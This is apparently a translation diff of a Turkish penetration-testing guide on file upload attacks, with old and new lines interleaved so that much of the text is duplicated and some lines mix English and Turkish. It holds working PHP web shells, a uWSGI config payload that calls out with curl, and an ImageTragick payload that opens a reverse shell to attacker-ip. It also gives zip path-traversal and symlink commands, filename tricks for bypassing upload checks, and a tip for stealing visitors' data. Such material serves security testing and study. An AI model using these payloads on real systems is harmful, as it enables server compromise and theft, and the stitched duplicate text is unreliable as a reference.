- **PHPv8'de Çalışma**: _.php_, _.php4_, ._php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -17,11 +17,11 @@ Diğer yararlı uzantılar:
### Dosya uzantısı kontrollerini atlatma
1. Uygulanıyorsa, **önceki uzantıları** **kontrol edin**. Ayrıca bunları bazı **büyük harflerle** test edin: _pHp, .pHP5, .PhAr ..._
2. _Çalıştırma uzantısından **önce geçerli bir uzantı eklemeyi kontrol edin** (önceki uzantıları da kullanın):_
1. Eğer uygulanıyorsa, **önceki uzantıları** **kontrol edin.** Ayrıca bazılarını **büyük harflerle** de deneyin: _pHp, .pHP5, .PhAr ..._
2. _Çalıştırma uzantısından önce geçerli bir uzantı **eklemeyi** **kontrol edin** (önceki uzantıları da kullanın):_
- _file.png.php_
- _file.png.Php5_
3. Sonuna **özel karakterler** eklemeyi deneyin. Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp'u kullanabilirsiniz. (_Not: ayrıca daha önce bahsedilen **uzantıları** de kullanmayı deneyebilirsiniz_)
3. Sonuna **özel karakterler eklemeyi** deneyin. Burp kullanarak tüm **ascii** ve **Unicode** karakterleri **bruteforce** edebilirsiniz. (_Ayrıca daha önce bahsedilen **uzantıları** de kullanmayı deneyebilirsiniz_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Diğer yararlı uzantılar:
- _file._
- _file.php...._
- _file.pHp5...._
4. Sunucu tarafındaki uzantı ayrıştırıcısını **kandırarak** korumaları atlatmayı deneyin; örneğin uzantıyı **tekrarlama** veya uzantılar arasına **gereksiz veri** (**null** byte'lar) ekleme teknikleri. _Daha iyi bir payload hazırlamak için önceki uzantıları da kullanabilirsiniz._
4. Sunucu tarafındaki uzantı ayrıştırıcısını **kandırarak** korumaları atlatmayı deneyin; örneğin **uzantıyı ikileme** veya uzantılar arasına **çöp** veri (**null bytes**) ekleme gibi teknikler. _Daha iyi bir payload hazırlamak için **önceki uzantıları** de kullanabilirsiniz._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -43,10 +43,10 @@ Diğer yararlı uzantılar:
5. Önceki kontrole **başka bir uzantı katmanı** ekleyin:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. **Exec uzantısını geçerli uzantıdan önce** koymayı deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Apache yanlış yapılandırmalarını istismar etmek için faydalıdır; bazı durumlarda dosya adı **.php** içeriyorsa, sonu .php ile bitmese bile kod çalıştırılabilir):
6. **Çalıştırma uzantısını** geçerli uzantıdan **önce koymayı** deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Apache yanlış yapılandırmalarını istismar etmek için faydalıdır; bazı durumlarda herhangi bir dosya uzantısı **.php** içeriyorsa, dosyanın sonu **.php** olmasa bile kod çalıştırılabilir):
- _ex: file.php.png_
7. **Windows** ortamında **NTFS alternate data stream (ADS)** kullanımı. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen uzantıdan önce iki nokta üst üste karakteri ":" eklenir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulabilir (örn. "file.asax:.jpg"). Bu dosya daha sonra kısa dosya adı kullanımı gibi başka tekniklerle düzenlenebilir. "**::$data**” deseni ayrıca boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin sonuna bir nokta karakteri eklemek daha fazla kısıtlamayı atlatmada faydalı olabilir (örn. "file.asp::$data.")
8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilir. Kötücül PHP geride kalır. AAA<--SNIP-->AAA.php
7. **Windows** üzerinde **NTFS alternate data stream (ADS)** kullanımı. Bu durumda yasaklı bir uzantıdan sonra ve izin verilen uzantıdan önce iki nokta üst üste ":" karakteri eklenir. Sonuç olarak sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulur (ör. "file.asax:.jpg"). Bu dosya daha sonra kısa dosya adı gibi başka tekniklerle düzenlenebilir. "**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin sonuna bir nokta eklemek daha fazla kısıtlamayı atlatmak için faydalı olabilir (ör. "file.asp::$data.").
8. Dosya adı sınırlarını **aşmayı** deneyin. Geçerli uzantı kesilir ve kötü amaçlı PHP geride kalır. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -59,56 +59,56 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### Content-Type, Magic Number, Compression & Resizing atlatma
### Content-Type, Magic Number, Sıkıştırma ve Yeniden Boyutlandırmayı Atlatma
- **Content-Type** kontrollerini, **Content-Type** başlığının değerini şu şekilde ayarlayarak atlatın: _image/png_ , _text/plain , application/octet-stream_
- **Content-Type** kontrollerini atlatmak için **Content-Type** başlığının değerini şu şekilde ayarlayın: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- **Magic number** kontrolünü atlatmak için dosyanın başına gerçek bir resmin **byte**larını ekleyin (file komutunu yanıltır). Ya da shell'i **metadata** içine yerleştirin:\
- **Magic number** kontrolünü atlatmak için dosyanın başına gerçek bir görüntünün **baytlarını** ekleyin (file komutunu yanıltmak için). Veya shell'i **metadata** içine yerleştirin:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` veya payload'u doğrudan bir görüntüye de **ekleyebilirsiniz**:\
`\` veya payload'u doğrudan bir görüntüye de ekleyebilirsiniz:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Eğer görüntünüze **sıkıştırma** uygulanıyorsa, örneğin PHP kütüphaneleri gibi [PHP-GD](https://www.php.net/manual/fr/book.image.php) kullanılıyorsa, önceki teknikler işe yaramayabilir. Ancak, sıkıştırmadan **sağ çıkan** metin eklemek için **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- Eğer görüntünüze **sıkıştırma** uygulanıyorsa (ör. PHP-GD gibi kütüphaneler kullanılıyorsa), önceki teknikler işe yaramayabilir. Ancak **PLTE chunk** [**burada tanımlanan teknik**]ı kullanarak sıkıştırmadan **kurtulacak** metin ekleyebilirsiniz.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Web sayfası ayrıca görüntüyü **yeniden boyutlandırıyor** olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanabilir. Ancak, sıkıştırmadan **sağ çıkan** metin eklemek için **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- Web sayfası ayrıca görüntüyü **yeniden boyutlandırıyor** olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanılarak. Ancak **IDAT chunk** [**burada tanımlanan teknik**] yardımıyla sıkıştırmadan **sağ kurtulacak** metinler ekleyebilirsiniz.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Görüntü yeniden boyutlandırılmasına dayanıklı bir payload yapmak için başka bir teknik de PHP-GD fonksiyonu `thumbnailImage` kullanımına ilişkin yaklaşımdır. Bununla birlikte, sıkıştırmadan **sağ çıkan** metin eklemek için **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- Görüntü yeniden boyutlandırmayı atlatan başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanarak payload oluşturmadır. Bunun yerine **tEXt chunk** [**burada tanımlanan teknik**] ile sıkıştırmadan **sağ kurtulacak** metin ekleyebilirsiniz.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Kontrol etmeniz için diğer hileler
### Kontrol edilecek Diğer İpuçları
- Zaten yüklenmiş dosyayı **yeniden adlandırmaya** (uzantıyı değiştirmek için) imkan veren bir zafiyet bulun.
- Yüklenen dosyanın adını değiştirebilecek bir açık bulun (uzantıyı değiştirmek için).
- Backdoor'u çalıştırmak için bir **Local File Inclusion** zafiyeti bulun.
- **Olası Bilgi sızması**:
1. **Aynı dosyayı** **aynı anda** **birden fazla kez** yükleyin.
2. Zaten var olan bir **dosya** veya **klasör** adıyla bir dosya yükleyin.
3. Dosya adı olarak **"."**, **".."** veya **"…"** yükleyin. Örneğin, Apache'de Windows'ta, uygulama yüklenen dosyaları "/www/uploads/" dizinine kaydediyorsa, "." dosya adı "/www/" dizininde "uploads" adında bir dosya oluşturabilir.
4. Silinmesi zor olabilecek bir dosya yükleyin; örneğin **"…:.jpg"** NTFS'de. (Windows)
5. Windows'ta dosya adına `|<>*?”` gibi **geçersiz karakterler** içeren bir dosya yükleyin. (Windows)
6. CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9 gibi Windows'ta **rezerve (yasaklanmış) adları** kullanarak dosya yükleyin.
- Ayrıca **çalıştırılabilir (.exe)** veya açıldığında kod çalıştırabilecek daha az şüpheli bir **.html** dosyası yüklemeyi deneyin.
- **Olası Bilgi sızıntısı**:
1. **Aynı dosyayı** **aynı isimle** **birden çok kez** (ve aynı anda) yükleyin.
2. Zaten var olan bir **dosya** veya **klasör** adını kullanarak dosya yükleyin.
3. Dosya adı olarak **"."**, **".."** veya **"..."** kullanarak yükleme yapın. Örneğin, Apache üzerinde **Windows** ise uygulama yüklenen dosyaları "/www/uploads/" dizinine kaydediyorsa, "." dosya adı "/www/" dizininde "uploads" adlı bir dosya oluşturacaktır.
4. **NTFS** üzerinde silinmesi zor olabilecek bir dosya yükleyin, örneğin **"..:.jpg"**. (Windows)
5. Windows'ta dosya adına `|<>*?”` gibi **geçersiz karakterler** koyarak yükleyin. (Windows)
6. Windows'ta CON, PRN, AUX, NUL, COM1...COM9, LPT1...LPT9 gibi **ayrılmış (forbidden) isimleri** kullanarak dosya yükleyin.
- Ayrıca bir **executable** (.exe) veya daha az şüpheli bir **.html** yüklemeyi deneyin; kurban yanlışlıkla açtığında kod çalıştırabilir.
### Özel uzantı hileleri
### Özel uzantı taktikleri
Eğer dosyaları bir **PHP server**'a yüklüyorsanız, kod çalıştırmak için [**.htaccess** hilesine bakın](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Eğer dosyaları bir **ASP server**'a yüklüyorsanız, kod çalıştırmak için [**.config** hilesine bakın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Eğer dosyaları bir **PHP server**'a yüklüyorsanız, kod çalıştırmak için [**.htaccess** taktiğine bakın](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Eğer dosyaları bir **ASP server**'a yüklüyorsanız, kod çalıştırmak için [**.config** taktiğine bakın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` dosyaları Java için `.jar` gibidir, ama php içindir ve **php dosyası gibi kullanılabilir** (php ile çalıştırma veya bir script içine include etme...).
`.phar` dosyaları Java için `.jar` gibidir, ama php içindir ve **php dosyası gibi kullanılabilir** (php ile çalıştırılabilir veya bir script içine include edilebilir...)
`.inc` uzantısı bazen sadece **import edilen** php dosyaları için kullanılır, bu yüzden bazı durumlarda bu uzantının **çalıştırılmasına izin verilmiş** olabilir.
`.inc` uzantısı bazen sadece **import** edilen php dosyaları için kullanılır; dolayısıyla bir yerde bu uzantının **çalıştırılmasına izin verilmiş** olabilir.
## **Jetty RCE**
Eğer bir Jetty sunucusuna XML dosyası yükleyebiliyorsanız, [yeni \*.xml ve \*.war dosyalarının otomatik olarak işlendiği için RCE elde edebilirsiniz](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu yüzden, aşağıdaki görselde belirtildiği gibi, XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell bekleyin!
Eğer bir Jetty sunucusuna XML dosyası yükleyebiliyorsanız, [yeni \*.xml ve \*.war dosyaları otomatik olarak işlendiği için RCE elde edebilirsiniz](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu yüzden, aşağıdaki görselde belirtildiği gibi XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell bekleyin!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
Bu zafiyeti ayrıntılı incelemek için orijinal araştırmaya bakın: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Detaylı inceleme için orijinal araştırmayı kontrol edin: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) zafiyetleri, `.ini` konfigürasyon dosyasını değiştirme yeteneğiniz varsa uWSGI sunucularında istismar edilebilir. uWSGI konfigürasyon dosyaları, "magic" değişkenler, yer tutucular ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü bir dosyanın içeriğini include etmek için tasarlanmıştır. uWSGI tarafından desteklenen çeşitli şemalar arasında "exec" şeması özellikle güçlüdür; bu şema bir sürecin standart çıktısından veri okumaya izin verir. Bir `.ini` konfigürasyon dosyası işlenirken bu özellik, Remote Command Execution veya Arbitrary File Write/Read gibi kötü amaçlı kullanımlar için manipüle edilebilir.
Remote Command Execution (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme imkanı olan uWSGI sunucularında istismar edilebilir. uWSGI konfigürasyon dosyaları, "magic" değişkenleri, yer tutucuları ve operatörleri içerebilen özel bir sözdizimi kullanır. Özellikle `@(filename)` şeklinde kullanılan '@' operatörü bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI tarafından desteklenen çeşitli şemalar arasında "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya izin verir. Bir `.ini` dosyası işlendiğinde bu özellik, Remote Command Execution veya Arbitrary File Write/Read gibi kötü amaçlı işlemler için manipüle edilebilir.
Aşağıda çeşitli şemaları gösteren zararlı bir `uwsgi.ini` dosyası örneğini düşünün:
Aşağıda çeşitli şemaları gösteren zararlı bir `uwsgi.ini` dosyasına örnek verilmektedir:
```ini
[uwsgi]
; read from a symbol
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Payload'un yürütülmesi, konfigürasyon dosyasının parse edilmesi sırasında gerçekleşir. Konfigürasyonun etkinleştirilip parse edilmesi için uWSGI sürecinin ya yeniden başlatılması (muhtemelen bir crash sonrası veya bir Denial of Service attack nedeniyle) ya da dosyanın auto-reload olarak ayarlanmış olması gerekir. Auto-reload özelliği etkinse, değişiklik algılandığında dosyayı belirlenen aralıklarla yeniden yükler.
Payload'un çalıştırılması, yapılandırma dosyasının parse edilmesi sırasında gerçekleşir. Yapılandırmanın etkinleştirilip parse edilmesi için uWSGI sürecinin ya yeniden başlatılması (potansiyel olarak bir çökme sonrası veya bir Denial of Service attack nedeniyle) ya da dosyanın auto-reload olarak ayarlanması gerekir. Auto-reload özelliği etkinse, değişiklik algılandığında dosyayı belirli aralıklarla yeniden yükler.
uWSGI'nin konfigürasyon dosyası parse etme sürecinin gevşek doğasını anlamak çok önemlidir. Özellikle, burada bahsedilen payload bir binary dosyaya (örneğin bir resim veya PDF) yerleştirilebilir; bu da potansiyel istismar alanını daha da genişletir.
uWSGI'nin yapılandırma dosyası parsing'inin gevşek doğasını anlamak çok önemlidir. Özellikle, burada tartışılan payload bir binary file içine (örneğin bir image veya PDF) yerleştirilebilir; bu da potansiyel exploit kapsamını daha da genişletir.
## **wget File Upload/SSRF Trick**
Bazı durumlarda bir sunucunun **`wget`** kullanarak **download files** yaptığı ve sizden **indirebileceği** **URL**'yi belirtmenizi istediği durumlarla karşılaşabilirsiniz. Bu tür durumlarda, kod indirilen dosyaların uzantısının bir whitelist içinde olup olmadığını kontrol ediyor olabilir; böylece sadece izin verilen dosyaların indirileceği garanti edilir. Ancak, **bu kontrol atlatılabilir.**\
**linux**'ta bir **filename**'in maksimum uzunluğu **255** karakterdir; fakat **wget** dosya adlarını **236** karaktere truncate eder. Örneğin, **"A"\*232+".php"+".gif"** adlı bir dosyayı indirebilirsiniz; bu dosya adı **kontrolü atlatır** (bu örnekte **".gif"** geçerli bir uzantıdır) fakat `wget` dosyanın adını **"A"\*232+".php"** olarak **rename** edecektir.
Bazı durumlarda bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve sizin **URL** belirtebildiğinizi görebilirsiniz. Bu gibi durumlarda, kod indirilen dosyaların uzantısının bir beyaz listede olup olmadığını kontrol ediyor olabilir; böylece yalnızca izin verilen dosyalar indirilecek. Ancak, **bu kontrol atlatılabilir.**\
**linux**'da bir **filename**'in **maximum** uzunluğu **255**'tir, ancak **wget** dosya adlarını **236** karaktere kısaltır. **"A"\*232+".php"+".gif"** adlı bir dosyayı **download** edebilirsiniz; bu dosya adı **kontrolü** **atlatır** (bu örnekte **".gif"** geçerli bir uzantıdır) fakat `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandırır**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,17 +156,17 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
Note that **başka bir seçenek** olarak aklınıza gelebilecek bu kontrolü atlatma yöntemi, **HTTP server**ın farklı bir dosyaya yönlendirme yapmasını sağlamaktır; böylece başlangıçtaki URL kontrolü atlatır fakat wget yönlendirilmiş dosyayı yeni isimle indirir. Bu **çalışmaz** **eğer** wget **--trust-server-names** parametresi ile kullanılmıyorsa çünkü **wget, yönlendirilen sayfayı orijinal URLde belirtilen dosya adıyla indirecektir**.
## Araçlar
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) güçlü bir araçtır; Pentesters ve Bug Hunters'ın file upload mekanizmalarını test etmelerine yardımcı olmak üzere tasarlanmıştır. Çeşitli bug bounty techniques kullanarak zafiyetleri tespit etme ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) Pentesters ve Bug Huntersın file upload mekanizmalarını test etmelerine yardımcı olmak için tasarlanmış güçlü bir araçtır. Bug bounty tekniklerini kullanarak web uygulamalarındaki zafiyetleri tespit etmeyi ve sömürmeyi kolaylaştırır, kapsamlı değerlendirmeler sağlar.
### Corrupting upload indices with snprintf quirks (historical)
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
Tek dosya uploadından çoklu dosya dizileri oluşturmak için `snprintf()` veya benzeri fonksiyonları kullanan bazı eski upload handlerlar, `_FILES` yapısını sahteleyerek kandırılabilir. `snprintf()` davranışındaki tutarsızlıklar ve truncation nedeniyle, dikkatle hazırlanmış tek bir upload, sunucu tarafında birden çok indekslenmiş dosya gibi görünebilir; bu da katı bir yapı varsayan mantığı (ör. çoklu dosya uploadu olarak ele alıp güvensiz dallara girmek) şaşırtabilir. Günümüzde nadir olmakla birlikte bu “index corruption” kalıbı zaman zaman CTFlerde ve daha eski kod tabanlarında tekrar ortaya çıkar.
## Dosya yüklemeden diğer zafiyetlere
## From File upload to other vulnerabilities
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
@ -178,13 +178,13 @@ Some legacy upload handlers that use `snprintf()` or similar to build multi-file
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- Eğer web sunucusuna bir URLden image almasını **belirtebiliyorsanız**, bir [SSRF](../ssrf-server-side-request-forgery/index.html) suistimal etmeyi deneyebilirsiniz. Eğer bu **image** bir **public** sitede **kaydedilecekse**, ayrıca [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirleyip **her ziyaretçinin bilgisini çalabilirsiniz**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Check if there is any **size limit** uploading files
- XSS için özel hazırlanmış PDFler: [aşağıdaki sayfa nasıl **PDF verisi enjekte edilip JS yürütüleceğini** gösteriyor](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebiliyorsanız, verilen yönergelere göre rastgele JS çalıştıracak bir PDF hazırlayabilirsiniz.
- Sunucuda herhangi bir **antivirus** olup olmadığını kontrol etmek için \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyin
- Dosya yüklerken herhangi bir **boyut limiti** olup olmadığını kontrol edin
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
İşte upload ile başarabileceğiniz şeylerden bir top 10 listesi (kaynak: [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -204,20 +204,20 @@ Heres a top 10 list of things that you can achieve by uploading (from [here](
https://github.com/portswigger/upload-scanner
{{#endref}}
## Sihirli Başlık Baytları
## Magic Header Bytes
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
Diğer dosya tipleri için [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) adresine bakın.
## Zip/Tar Dosyasının Sunucuda Otomatik Olarak Açıldığı Yüklemeler
## Zip/Tar File Automatically decompressed Upload
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
Eğer sunucuda açılacak şekilde bir ZIP upload edebiliyorsanız, iki şey yapabilirsiniz:
### Symlink
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
Diğer dosyalara soft link içeren bir link yükleyin; ardından açılan dosyalara eriştiğinizde linklenmiş dosyalara erişmiş olursunuz:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -225,18 +225,18 @@ tar -cvf test.tar symindex.txt
```
### Farklı klasörlere açma
Sıkıştırma açma sırasında dizinlerde beklenmeyen dosya oluşturulması ciddi bir sorundur. Bu yapılandırmanın kötü amaçlı dosya yüklemeleri yoluyla OS seviyesinde komut yürütmeyi engelleyeceği yönündeki ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve directory traversal yetenekleri kötüye kullanılabilir. Bu, saldırganların hedeflenen uygulamanın decompression işlevini manipüle ederek kısıtlamaları aşmasına ve güvenli upload dizinlerinden kaçmasına olanak tanır.
Sıkıştırmayı açma sırasında dosyaların dizinlerde beklenmedik şekilde oluşturulması ciddi bir sorundur. Bu yapılandırmanın malicious file uploads yoluyla OS-level command execution'a karşı koruma sağlayacağı ilk varsayımlarına rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve directory traversal yetenekleri kötüye kullanılabilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın decompression işlevini manipüle ederek güvenli upload dizinlerinden kaçmasına olanak tanır.
Böyle dosyalar oluşturmak için otomatik bir exploit [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç şu şekilde kullanılabilir:
Böyle dosyaları oluşturmak için otomatik bir exploit [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç şu şekilde kullanılabilir:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Ek olarak, **symlink trick with evilarc** bir seçenektir. Eğer amaç `/flag.txt` gibi bir dosyayı hedeflemekse, o dosyaya sisteminizde bir symlink oluşturulmalıdır. Bu, evilarc'ın çalışması sırasında hata ile karşılaşmamasını sağlar.
Ek olarak, **symlink trick with evilarc** bir seçenektir. Eğer amaç `/flag.txt` gibi bir dosyayı hedeflemekse, sisteminizde o dosyaya işaret eden bir symlink oluşturmalısınız. Bu, evilarc'ın çalışma sırasında hatalarla karşılaşmamasını sağlar.
Aşağıda kötü amaçlı bir zip dosyası oluşturmak için kullanılan Python koduna bir örnek vardır:
Aşağıda kötü amaçlı bir zip dosyası oluşturmak için kullanılan Python örnek kodu bulunmaktadır:
```python
#!/usr/bin/python
import zipfile
@ -254,11 +254,11 @@ zip.close()
create_zip()
```
**Abusing compression for file spraying**
**File spraying için sıkıştırmanın kötüye kullanımı**
For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Daha fazla ayrıntı için **orijinal gönderiyi inceleyin**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: PHP kodu `$_REQUEST` değişkeniyle gönderilen komutları çalıştıracak şekilde yazılır.
1. **PHP Shell Oluşturma**: PHP kodu, `$_REQUEST` değişkeniyle geçirilen komutları çalıştıracak şekilde yazılır.
```php
<?php
@ -268,14 +268,14 @@ system($cmd);
}?>
```
2. **File Spraying and Compressed File Creation**: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi oluşturulur.
2. **File Spraying ve Sıkıştırılmış Dosya Oluşturma**: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi hazırlanır.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: Zip içindeki dosya isimleri vi veya bir hex editor kullanılarak değiştirilir; dizin atlamak için "xxA" "../" olarak değiştirilir.
3. **Hex Editor veya vi ile Değişiklik**: Zip içindeki dosya adları vi veya bir hex editor ile değiştirilir; "xxA" dizinler arası geçiş yapmak için "../" ile değiştirilir.
```bash
:set modifiable
@ -285,40 +285,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Bu içeriği bir image uzantısıyla yükleyerek ığı istismar edin **(ImageMagick , 7.0.1-1)** (exploit için: [https://www.exploit-db.com/exploits/39767])
Bu içeriği bir image uzantısıyla yükleyerek zafiyeti istismar edin **(ImageMagick , 7.0.1-1)** (exploit için: [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
